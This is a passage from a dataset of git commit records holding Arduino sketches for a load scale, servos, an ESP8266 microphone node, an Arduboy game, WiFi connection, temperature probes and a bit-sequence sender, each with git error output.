tare weight, set with tare()\n\n Serial.print(\"get units: \\t\\t\");\n Serial.println(scale.get_units(5), 1); \/\/ print the average of 5 readings from the ADC minus tare weight, divided \n\t\t\t\t\t\t\/\/ by the SCALE parameter set with set_scale\n\n Serial.println(\"Readings:\");\n}\n\nvoid loop() {\n Serial.print(\"one reading:\\t\");\n Serial.print(scale.get_units(), 1);\n Serial.print(\"\\t| average:\\t\");\n Serial.println(scale.get_units(10), 1);\n\n scale.power_down();\t\t\t \/\/ put the ADC in sleep mode\n delay(5000);\n scale.power_up();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HX711ESP8266\/HX711ESP8266.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"006560d745829540f50b8c22d293f5e369e522f0","subject":"Added Arbotix Sketch, without delay and with print statement","message":"Added Arbotix Sketch, without delay and with print statement\n","repos":"iConor\/jaws-2,iConor\/jaws-2,osu-uwrt\/jaws-2","old_file":"src\/Arbotix_Sketch\/Arbotix_Sketch.ino","new_file":"src\/Arbotix_Sketch\/Arbotix_Sketch.ino","new_contents":"#include <ax12.h>\n#include <Servo.h>\n\ndouble angleToServ = 4096\/360;\n\nServo thrustOne;\nServo thrustTwo;\nServo thrustThree;\n\nint servoNumOne=18;\/\/forgot which ones i set them as\nint servoNumTwo=15;\/\/this number sounds familiar\n\nvoid setup(){\nSerial.begin(38400);\n\/\/thrustOne.attach(1);\/\/arbitrary pin#\n\/\/thrustTwo.attach(2);\/\/arbitrary pin#\n\/\/thrustThree.attach(3);\/\/arbitrary pin#\n}\nvoid loop(){\n \/\/delay(100);\n int i;\n int input[7];\n int finals[5];\n int temp;\n int sequence[10];\n if(Serial.peek()==45){\n Serial.read();\n for (int i=0;i<10;i++){\n sequence[i]=(Serial.read());\n }\n finals[0]=256*sequence[1]+sequence[0];\n finals[1]=256*sequence[3]+sequence[2];\n finals[2]=256*sequence[5]+sequence[4];\n finals[3]=256*sequence[7]+sequence[6];\n finals[4]=256*sequence[9]+sequence[8];\n SetPosition(servoNumOne,finals[0]*angleToServ);\n SetPosition(servoNumTwo,finals[1]*angleToServ);\n Serial.println(finals[0]+\" \"+finals[1]);\n thrustOne.write(finals[2]);\n thrustTwo.write(finals[3]);\n thrustThree.write(finals[4]);\n }\n else{\n Serial.read();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arbotix_Sketch\/Arbotix_Sketch.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8a62f5cefea641b509588122e68c95599fb600e6","subject":"Update WeatherShieldJson.ino","message":"Update WeatherShieldJson.ino","repos":"jeffwilcox\/connectthedots,radiojam11\/connectthedots,BretStateham\/connectthedots,beeva-marianmoldovan\/connectthedots,jmservera\/connectthedots,jessejjohnson\/connectthedots,noopkat\/connectthedots,radiojam11\/connectthedots,jomolinare\/connectthedots,Azure\/connectthedots,ZingPow\/connectthedots,Azure\/connectthedots,radiojam11\/connectthedots,radiojam11\/connectthedots,noopkat\/connectthedots,Azure\/connectthedots,MSOpenTech\/connectthedots,yashchandak\/connectthedots,HydAu\/ConnectTheDots2,zack076\/connectthedots,yashchandak\/connectthedots,noopkat\/connectthedots,ZingPow\/connectthedots,jeffwilcox\/connectthedots,jomolinare\/connectthedots,BretStateham\/connectthedots,HydAu\/ConnectTheDots2,HydAu\/ConnectTheDots2,MSOpenTech\/connectthedots,HydAu\/AzureConnectTheDots,HydAu\/AzureConnectTheDots,pietrobr\/connectthedots,zack076\/connectthedots,noopkat\/connectthedots,zack076\/connectthedots,jeffwilcox\/connectthedots,jessejjohnson\/connectthedots,beeva-marianmoldovan\/connectthedots,jomolinare\/connectthedots,radiojam11\/connectthedots,BretStateham\/connectthedots,noopkat\/connectthedots,MSOpenTech\/connectthedots,noopkat\/connectthedots,MSOpenTech\/connectthedots,ZingPow\/connectthedots,BretStateham\/connectthedots,beeva-marianmoldovan\/connectthedots,ZingPow\/connectthedots,jmservera\/connectthedots,MSOpenTech\/connectthedots,yashchandak\/connectthedots,MSOpenTech\/connectthedots,pietrobr\/connectthedots,HydAu\/AzureConnectTheDots,jessejjohnson\/connectthedots,BretStateham\/connectthedots,BretStateham\/connectthedots,jomolinare\/connectthedots,jeffwilcox\/connectthedots,Azure\/connectthedots,ZingPow\/connectthedots,jmservera\/connectthedots,zack076\/connectthedots,ZingPow\/connectthedots,jessejjohnson\/connectthedots,zack076\/connectthedots,jmservera\/connectthedots,jmservera\/connectthedots,beeva-marianmoldovan\/connectthedots,Azure\/connectthedots,jessejjohnson\/connectthedots,radiojam11\/connectthedots,jmservera\/connectthedots,Azure\/connectthedots,yashchandak\/connectthedots,beeva-marianmoldovan\/connectthedots,BretStateham\/connectthedots,jomolinare\/connectthedots,HydAu\/AzureConnectTheDots,pietrobr\/connectthedots,jomolinare\/connectthedots,pietrobr\/connectthedots,yashchandak\/connectthedots,zack076\/connectthedots,HydAu\/ConnectTheDots2,HydAu\/ConnectTheDots2,pietrobr\/connectthedots,Azure\/connectthedots,jeffwilcox\/connectthedots,jeffwilcox\/connectthedots,beeva-marianmoldovan\/connectthedots,jessejjohnson\/connectthedots,yashchandak\/connectthedots,HydAu\/ConnectTheDots2,HydAu\/AzureConnectTheDots,noopkat\/connectthedots,HydAu\/AzureConnectTheDots,pietrobr\/connectthedots","old_file":"Devices\/GatewayConnectedDevices\/Arduino UNO\/Weather\/WeatherShieldJson\/WeatherShieldJson.ino","new_file":"Devices\/GatewayConnectedDevices\/Arduino UNO\/Weather\/WeatherShieldJson\/WeatherShieldJson.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Devices\/GatewayConnectedDevices\/Arduino' did not match any file(s) known to git\nerror: pathspec 'UNO\/Weather\/WeatherShieldJson\/WeatherShieldJson.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"05d5488fcc0fca20c09f91d5510eacefc8e98b75","subject":"Finish microphone source","message":"Finish microphone source\n\nNOTE: Make sure to put in a delay between successive ADC readings otherwise device will fail.\n","repos":"ITatJCU\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,ITatJCU\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,ITatJCU\/iot-dataflow-graph-server","old_file":"real-devices\/Arduino\/ESP8266\/sinks\/microphone-source\/microphone-source.ino","new_file":"real-devices\/Arduino\/ESP8266\/sinks\/microphone-source\/microphone-source.ino","new_contents":"\/*\n IoT Dataflow Graph Server\n Copyright (c) 2015, Adam Rehn, Jason Holdsworth\n 2018, Wilson Bow\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiUDP.h>\n#include <ESP8266MulticastUDP.h>\n\/\/#include <Timer.h>\n\n\/\/The identifier for this node\nconst String& NODE_IDENTIFIER = \"microphone-source\";\n\n\/\/The interval (in milliseconds) at which input is read\n#define ARRAY_SIZE 10\n\nint minValue;\nint maxValue;\nbool hasData;\n\nunsigned long prevTime;\n\n\/\/ Setup the ESP8266 Multicast UDP object as a source\nESP8266MulticastUDP multicast(\"iot-dataflow\", \"it-at-jcu\",\n IPAddress(224, 0, 0, 114), 7070);\n\n\n#define ERROR_PIN 15\n#define READ_INTERVAL 50\n\nvoid resetReadings(){\n hasData = false;\n prevTime = millis();\n}\n\nvoid setup()\n{\n \/\/Initialise serial communications\n Serial.begin(115200);\n\n multicast.begin();\n Serial.print(NODE_IDENTIFIER);\n if (multicast.isConnected()) {\n Serial.println(\" connected to Wifi network\");\n } else {\n Serial.println(\" error: failed to connect to WiFi network!\");\n pinMode(ERROR_PIN, OUTPUT);\n digitalWrite(ERROR_PIN, HIGH);\n }\n\n \/\/ Pin 13 acts as Vcc\n \/\/ Pin 12 acts as GND\n \/\/ in the absence of more power pins\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n digitalWrite(12, LOW);\n digitalWrite(13, HIGH);\n\n resetReadings();\n}\n\nint readSource() {\n \/\/ Send the maximum value measured since the last sent message.\n int scaledMax = (int)((double) maxValue \/ 1023.0 * 100.0);\n \/\/ Flush collected data\n resetReadings();\n return scaledMax;\n}\n\nvoid takeReading(){\n \/\/ Read from the ADC and test if the value is outside the current max\/min range.\n int rawValue = analogRead(A0);\n if(!hasData){\n maxValue = minValue = rawValue;\n hasData = true;\n } else {\n maxValue = max(maxValue, rawValue);\n minValue = min(minValue, rawValue);\n }\n}\n\nvoid sendUpdate(){\n \/\/ Send the update\n if (multicast.isConnected())\n {\n String message = String(NODE_IDENTIFIER) + \"\\n\" + readSource();\n multicast.write(message);\n }\n}\n\nvoid loop()\n{\n static bool on = false;\n takeReading();\n delay(1);\n Serial.println(millis() - prevTime);\n if((millis() - prevTime) > READ_INTERVAL) {\n sendUpdate();\n digitalWrite(ERROR_PIN, on ? HIGH : LOW);\n on = !on;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'real-devices\/Arduino\/ESP8266\/sinks\/microphone-source\/microphone-source.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"820664dd03506c5de59adeda2f740eecc686b5c6","subject":"Snack game, player movement","message":"Snack game, player movement\n","repos":"kenjara\/ArduboyGames,kenjara\/ArduboyGames","old_file":"snack\/snack.ino","new_file":"snack\/snack.ino","new_contents":"#include \"Arduboy.h\"\n\n\/\/ make an instance of arduboy used for many functions\nArduboy arduboy;\n\nstruct coords\n{\n int X = 0;\n int Y = 0; \n};\n\ntypedef struct coords Coords;\n\nstruct player\n{\n int X = 0;\n int Y = 0;\n char dir = 'R';\n\n Player()\n {\n \n }\n};\n\ntypedef struct player Player;\n\nPlayer p1;\nCoords foodLocation;\n\nint maxX = 127;\nint minX = 0;\nint maxY = 63;\nint minY = 0;\n\nint score = 0;\n\nvoid GenerateFood()\n{\n foodLocation.X = 0;\n foodLocation.Y = 0;\n}\n\n\/\/ This function runs once in your game.\n\/\/ use it for anything that needs to be set only once in your game.\nvoid setup() {\n \/\/ initiate arduboy instance\n arduboy.begin();\n\n \/\/ here we set the framerate to 15, we do not need to run at\n \/\/ default 60 and it saves us battery life\n arduboy.setFrameRate(15);\n\n p1.X = 1;\n p1.Y = 1;\n}\n\n\n\/\/ our main game loop, this runs once every cycle\/frame.\n\/\/ this is where our game logic goes.\nvoid loop() {\n \/\/ pause render until it's time for the next frame\n if (!(arduboy.nextFrame()))\n return;\n\n \/\/ first we clear our screen to black\n arduboy.clear();\n\n \/\/ the next couple of lines will deal with checking if the D-pad buttons\n \/\/ are pressed and move our text accordingly.\n \/\/ We check to make sure that x and y stay within a range that keeps the\n \/\/ text on the screen.\n\n if(arduboy.pressed(RIGHT_BUTTON)) {\n p1.dir = 'R';\n }\n\n if(arduboy.pressed(LEFT_BUTTON)) {\n p1.dir = 'L';\n }\n\n if(arduboy.pressed(UP_BUTTON)) {\n p1.dir = 'U';\n }\n\n if(arduboy.pressed(DOWN_BUTTON)) {\n p1.dir = 'D'; \n }\n\n switch(p1.dir)\n {\n case 'U':\n if(p1.Y > minY)\n {\n p1.Y -= 1;\n }\n break;\n case 'D':\n if(p1.Y < maxY)\n {\n p1.Y += 1;\n }\n break;\n case 'L':\n if(p1.X > minX)\n {\n p1.X-= 1;\n }\n break;\n case 'R':\n if(p1.X < maxX)\n {\n p1.X+= 1;\n }\n \n break;\n }\n\n arduboy.drawPixel(p1.X, p1.Y, 1);\n \/\/ (positions start at 0, 0) \n \/\/arduboy.setCursor(4, 9);\n\n \/\/ then we print to screen what is in the Quotation marks \"\"\n \/\/arduboy.print(F(\"Hello, world!\"));\n\n \/\/ then we finaly we tell the arduboy to display what we just wrote to the display\n arduboy.display();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'snack\/snack.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e01c3beb10b52c42aafc415a7ac0ccab1daab09","subject":"Add the cmdMULTIsesn project","message":"Add the cmdMULTIsesn project\n","repos":"Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino","old_file":"cmdMULTIsens\/src\/sketch.ino","new_file":"cmdMULTIsens\/src\/sketch.ino","new_contents":"\/*\n cmdMULTI sketch\n\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cmdMULTIsens\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"267901ef7b757aa6bdae620e341079e5e7796369","subject":"add examples\/WiFiMulti\/WiFiMulti.ino","message":"add examples\/WiFiMulti\/WiFiMulti.ino\n","repos":"leftbrainstrain\/Arduino-ESP8266,probonopd\/Arduino,danielchalef\/Arduino,ogahara\/Arduino,drpjk\/Arduino,Alfredynho\/AgroSis,leftbrainstrain\/Arduino-ESP8266,raimohanska\/Arduino,NeuralSpaz\/Arduino,probonopd\/Arduino,nkolban\/Arduino,paulo-raca\/ESP8266-Arduino,leftbrainstrain\/Arduino-ESP8266,EmuxEvans\/Arduino,smily77\/Arduino,drpjk\/Arduino,eeijcea\/Arduino-1,weera00\/Arduino,paulmand3l\/Arduino,paulo-raca\/ESP8266-Arduino,ssvs111\/Arduino,noahchense\/Arduino-1,radut\/Arduino,Cloudino\/Arduino,NeuralSpaz\/Arduino,ssvs111\/Arduino,jomolinare\/Arduino,EmuxEvans\/Arduino,danielchalef\/Arduino,Cloudino\/Arduino,raimohanska\/Arduino,paulmand3l\/Arduino,probonopd\/Arduino,fungxu\/Arduino,tannewt\/Arduino,probonopd\/Arduino,paulo-raca\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,fungxu\/Arduino,nkolban\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,zenmanenergy\/Arduino,drpjk\/Arduino,eeijcea\/Arduino-1,sanyaade-iot\/Arduino-1,Protoneer\/Arduino,mangelajo\/Arduino,myrtleTree33\/Arduino,tannewt\/Arduino,SmartArduino\/Arduino-1,gonium\/Arduino,Cloudino\/Arduino,danielchalef\/Arduino,mateuszdw\/Arduino,Alfredynho\/AgroSis,fungxu\/Arduino,wdoganowski\/Arduino,aichi\/Arduino-2,fungxu\/Arduino,NeuralSpaz\/Arduino,paulmand3l\/Arduino,myrtleTree33\/Arduino,leftbrainstrain\/Arduino-ESP8266,gonium\/Arduino,mangelajo\/Arduino,noahchense\/Arduino-1,Alfredynho\/AgroSis,adafruit\/ESP8266-Arduino,Alfredynho\/AgroSis,noahchense\/Arduino-1,drpjk\/Arduino,mateuszdw\/Arduino,eeijcea\/Arduino-1,koltegirish\/Arduino,jomolinare\/Arduino,nkolban\/Arduino,mattvenn\/Arduino,EmuxEvans\/Arduino,shiitakeo\/Arduino,Protoneer\/Arduino,sanyaade-iot\/Arduino-1,radut\/Arduino,zenmanenergy\/Arduino,danielchalef\/Arduino,noahchense\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,sanyaade-iot\/Arduino-1,Cloudino\/Arduino,paulmand3l\/Arduino,adafruit\/ESP8266-Arduino,radut\/Arduino,aichi\/Arduino-2,myrtleTree33\/Arduino,myrtleTree33\/Arduino,EmuxEvans\/Arduino,zenmanenergy\/Arduino,shiitakeo\/Arduino,drpjk\/Arduino,aichi\/Arduino-2,spapadim\/Arduino,sanyaade-iot\/Arduino-1,mattvenn\/Arduino,Cloudino\/Cloudino-Arduino-IDE,leftbrainstrain\/Arduino-ESP8266,wdoganowski\/Arduino,nkolban\/Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,wdoganowski\/Arduino,zenmanenergy\/Arduino,ssvs111\/Arduino,koltegirish\/Arduino,NeuralSpaz\/Arduino,spapadim\/Arduino,noahchense\/Arduino-1,jomolinare\/Arduino,mangelajo\/Arduino,raimohanska\/Arduino,paulo-raca\/ESP8266-Arduino,koltegirish\/Arduino,danielchalef\/Arduino,danielchalef\/Arduino,NeuralSpaz\/Arduino,ssvs111\/Arduino,wdoganowski\/Arduino,NeuralSpaz\/Arduino,shiitakeo\/Arduino,mangelajo\/Arduino,tannewt\/Arduino,wdoganowski\/Arduino,koltegirish\/Arduino,sanyaade-iot\/Arduino-1,mattvenn\/Arduino,raimohanska\/Arduino,probonopd\/Arduino,Protoneer\/Arduino,Cloudino\/Cloudino-Arduino-IDE,EmuxEvans\/Arduino,fungxu\/Arduino,adafruit\/ESP8266-Arduino,jomolinare\/Arduino,leftbrainstrain\/Arduino-ESP8266,adafruit\/ESP8266-Arduino,ogahara\/Arduino,mateuszdw\/Arduino,mateuszdw\/Arduino,gonium\/Arduino,Cloudino\/Arduino,nkolban\/Arduino,ogahara\/Arduino,Protoneer\/Arduino,weera00\/Arduino,SmartArduino\/Arduino-1,tannewt\/Arduino,radut\/Arduino,eeijcea\/Arduino-1,aichi\/Arduino-2,tannewt\/Arduino,smily77\/Arduino,zenmanenergy\/Arduino,jomolinare\/Arduino,raimohanska\/Arduino,smily77\/Arduino,smily77\/Arduino,ogahara\/Arduino,Alfredynho\/AgroSis,mateuszdw\/Arduino,Cloudino\/Cloudino-Arduino-IDE,mateuszdw\/Arduino,Cloudino\/Arduino,adafruit\/ESP8266-Arduino,raimohanska\/Arduino,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,Protoneer\/Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,SmartArduino\/Arduino-1,shiitakeo\/Arduino,paulmand3l\/Arduino,ogahara\/Arduino,probonopd\/Arduino,Alfredynho\/AgroSis,radut\/Arduino,aichi\/Arduino-2,ssvs111\/Arduino,eeijcea\/Arduino-1,weera00\/Arduino,nkolban\/Arduino,Cloudino\/Cloudino-Arduino-IDE,weera00\/Arduino,aichi\/Arduino-2,Cloudino\/Arduino,mangelajo\/Arduino,noahchense\/Arduino-1,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,SmartArduino\/Arduino-1,weera00\/Arduino,wdoganowski\/Arduino,gonium\/Arduino,raimohanska\/Arduino,shiitakeo\/Arduino,paulmand3l\/Arduino,gonium\/Arduino,paulo-raca\/ESP8266-Arduino,eeijcea\/Arduino-1,drpjk\/Arduino,smily77\/Arduino,EmuxEvans\/Arduino,Protoneer\/Arduino,radut\/Arduino,Alfredynho\/AgroSis,gonium\/Arduino,gonium\/Arduino,spapadim\/Arduino,SmartArduino\/Arduino-1,myrtleTree33\/Arduino,shiitakeo\/Arduino,koltegirish\/Arduino,SmartArduino\/Arduino-1,mattvenn\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,fungxu\/Arduino,probonopd\/Arduino,adafruit\/ESP8266-Arduino,eeijcea\/Arduino-1,mateuszdw\/Arduino,zenmanenergy\/Arduino,tannewt\/Arduino,wdoganowski\/Arduino,aichi\/Arduino-2,Cloudino\/Cloudino-Arduino-IDE,smily77\/Arduino,SmartArduino\/Arduino-1,tannewt\/Arduino,spapadim\/Arduino,adafruit\/ESP8266-Arduino,radut\/Arduino,zenmanenergy\/Arduino,fungxu\/Arduino,spapadim\/Arduino,drpjk\/Arduino,noahchense\/Arduino-1,spapadim\/Arduino,shiitakeo\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,nkolban\/Arduino,smily77\/Arduino,jomolinare\/Arduino,ssvs111\/Arduino,Protoneer\/Arduino,mattvenn\/Arduino,spapadim\/Arduino,mattvenn\/Arduino,NeuralSpaz\/Arduino,weera00\/Arduino,ssvs111\/Arduino,myrtleTree33\/Arduino,sanyaade-iot\/Arduino-1","old_file":"hardware\/esp8266com\/esp8266\/libraries\/ESP8266WiFi\/examples\/WiFiMulti\/WiFiMulti.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/ESP8266WiFi\/examples\/WiFiMulti\/WiFiMulti.ino","new_contents":"\/*\n * This sketch trys to Connect to the best AP based on a given list\n *\n *\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n\nESP8266WiFiMulti WiFiMulti = ESP8266WiFiMulti();\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\t\n WiFiMulti.addAP(\"ssid_from_AP_1\", \"your_password_for_AP_1\");\n WiFiMulti.addAP(\"ssid_from_AP_2\", \"your_password_for_AP_2\");\n WiFiMulti.addAP(\"ssid_from_AP_3\", \"your_password_for_AP_3\");\n\n\tSerial.println(\"Connecting Wifi...\");\n if(wifiMulti.run() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\nvoid loop() {\n if(wifiMulti.run() != WL_CONNECTED) {\n Serial.println(\"WiFi not connected!\");\n delay(1000);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/ESP8266WiFi\/examples\/WiFiMulti\/WiFiMulti.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"6ac9a71d06a7409694935ec7adf6491cf4a5fe46","subject":"Registered setSequence and setPositions spark.io functions","message":"Registered setSequence and setPositions spark.io functions\n","repos":"pmark\/MartianRover,pmark\/MartianRover,pmark\/MartianRover,pmark\/MartianRover,pmark\/MartianRover","old_file":"Bitmapper\/spark\/fs_office.ino","new_file":"Bitmapper\/spark\/fs_office.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pmark\/MartianRover.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2ea8953944da52b9252803b5e930e73a58294643","subject":"arduinokoodi githubiin","message":"arduinokoodi githubiin\n","repos":"taloprojekti\/SP2017,taloprojekti\/SP2017","old_file":"tempread_arduino\/tempread_arduino.ino","new_file":"tempread_arduino\/tempread_arduino.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/*-----( Declare Constants and Pin Numbers )-----*\/\n#define ONE_WIRE_BUS_PIN 2\n\nOneWire oneWire(ONE_WIRE_BUS_PIN);\n\nDallasTemperature sensors(&oneWire);\n\nDeviceAddress Probe01 = { 0x28, 0x06, 0x0C, 0x81, 0x07, 0x00, 0x00, 0xA1 }; \nDeviceAddress Probe02 = { 0x28, 0xFF, 0x79, 0xA4, 0x60, 0x14, 0x04, 0x62 };\n\nvoid setup() \n{\n \/\/ start serial port to show results\n Serial.begin(9600);\n \/\/ Serial.print(\"Initializing Temperature Control Library Version \");\n \/\/Serial.println(DALLASTEMPLIBVERSION);\n \n \/\/ Initialize the Temperature measurement library\n sensors.begin();\n \n \/\/ set the resolution to 10 bit (Can be 9 to 12 bits .. lower is faster)\n sensors.setResolution(Probe01, 10);\n sensors.setResolution(Probe02, 10);\n}\n\nvoid loop() \n{ \n\n delay(1000);\n sensors.requestTemperatures();\n \n \/\/float temp1 = sensors.getTempC(Probe01);\n \/\/ float temp2 = sensors.getTempC(Probe02);\n\n Serial.println(sensors.getTempC(Probe01));\n Serial.println(sensors.getTempC(Probe02));\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'tempread_arduino\/tempread_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca1bccabb5e2c38684cfa4c4a616d4f32550d19f","subject":"Updated comments","message":"Updated comments","repos":"matthewpruett\/ece2881","old_file":"WiFi.ino","new_file":"WiFi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/matthewpruett\/ece2881.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2adc687bc47f6cdeedbbe50300db76bc402dfd9a","subject":"SendSequence: send sequence functionality from SetTime","message":"SendSequence: send sequence functionality from SetTime\n","repos":"eras\/TopfieldClock,eras\/TopfieldClock,eras\/TopfieldClock","old_file":"SendSequence\/SendSequence.ino","new_file":"SendSequence\/SendSequence.ino","new_contents":"int out = 2;\nint in = 3;\nint debug = 4;\n\nconst unsigned sequenceSize = 200;\nunsigned char sequence[sequenceSize + 1];\nint sequenceAt = 0; \/\/ for reading sequences\nint sequenceAtBit = 0;\nint prevSequenceSize = 0;\n\nint inBinarySequence = 0;\n\nvolatile int writeBitsLeft = 0;\nvolatile int writeCurBit = 0;\nvolatile int writeCurByte = 0;\n\nunsigned char initsequence[] = {\n#if 0\n0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,2,\n0,1,1,0,0,0,0,0,0,2,\n\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,2,\n0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,2,\n0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,2,\n0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,2,\n\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,